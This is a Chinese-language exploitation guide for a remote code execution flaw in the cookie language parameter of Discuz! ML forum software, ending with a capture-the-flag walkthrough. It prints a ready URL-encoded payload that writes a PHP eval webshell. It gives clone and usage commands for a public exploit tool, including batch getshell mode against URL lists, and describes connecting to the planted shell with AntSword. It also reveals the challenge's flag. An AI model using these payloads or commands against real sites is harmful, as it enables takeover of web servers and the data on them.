1、漏洞描述
Discuz國際版漏洞存在於cookie的language可控並且沒有嚴格過濾,導致可以遠程代碼執行。
2、產生原因:Discuz!ML 系統對cookie中的l接收的language參數內容未過濾,導致字符串拼接,從而執行php代碼。
3、影響版本:
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
4、利用exp,進行上傳一句話木馬
1.cookie字段中會出現xxxx_xxxx_language字段,根本原因就是這個字段存在注入,導致的RCE
2.抓包找到cookie的language的值修改為xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload: ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).',url編碼后的形式是
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
所以我們可以考慮使用bur抓包改包,上傳一句話木馬,get shell
5、利用dz-ml-rce.py工具進行分析。本工具支持單url和批量檢測,有判斷模式(只判斷有無該漏洞)、cmdshell模式(返回簡單的cmd shell)和getshell模式(寫入一句話木馬)。
6、如何下載dz-ml-rce.py工具
在python2.7的環境中安裝,安裝命令如下:
git clone https://github.com/theLSA/discuz-ml-rce.git
pip -r requirements.txt
7、如何使用dz-ml-rce.py工具
使用時加上漏洞PHP頁面(如forum.php,portal.php),直接寫域名可能會重定向導致誤報。
使用幫助:python dz-ml-rce.py -h
判斷模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
cmdshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
getshell模式:python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
批量檢測:python dz-ml-rce.py -f urls.txt
批量getshell:python dz-ml-rce.py -f urls.txt --getshell
8、實戰分析:
當我們進入這個網址后,可以發現它的cms類型是Discuz! X3.2,這是一個比較老的版本,我們可以去烏雲,0組查看相關思路文章,發現比較少

於是我們去百度中搜索這個Discuz! X3.2的漏洞可以get shell,所以這道題目考察的一定是cms的漏洞
而我們去網上查的話,有很多的漏洞,比如構建的請求報文,請求報文中含有惡意的PHP代碼,任意刪除文件,代碼注入漏洞等多種漏洞
本網站我所利用的是構建的請求報文,請求報文中含有惡意的PHP代碼這一漏洞,也就是Discuz ML RCE漏洞,后面又一篇文章專門寫此漏洞
所以我們可以知道它存在cms漏洞:Discuz! X3.2 漏洞 中的 構建的請求報文(惡意的PHP代碼,一句話木馬)漏洞
所以這個題我們可以考慮使用bur抓包改包,上傳一句話木馬,get shell
我們對bur進行抓包:
抓包后我們可以發現在cookie字段中有xxxx_xxxx_language字段,所以我們對其進行改包
先看phpinfo文件,看是否存在相關漏洞(驗證)

發現存在相關漏洞,所以我們直接上傳一句話木馬,構造的形式如下:
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

我們直接在網頁上查看shell.php文件,看是否可以正常顯示

我們使用蟻劍進行連接

連接成功:

最終我們就可以發現flag的文件,也就是此題的答案


flag就在其中,打開之后就是答案,也就是flag,flag{49c883689da71363809d64b8b48679ba}
此題完成
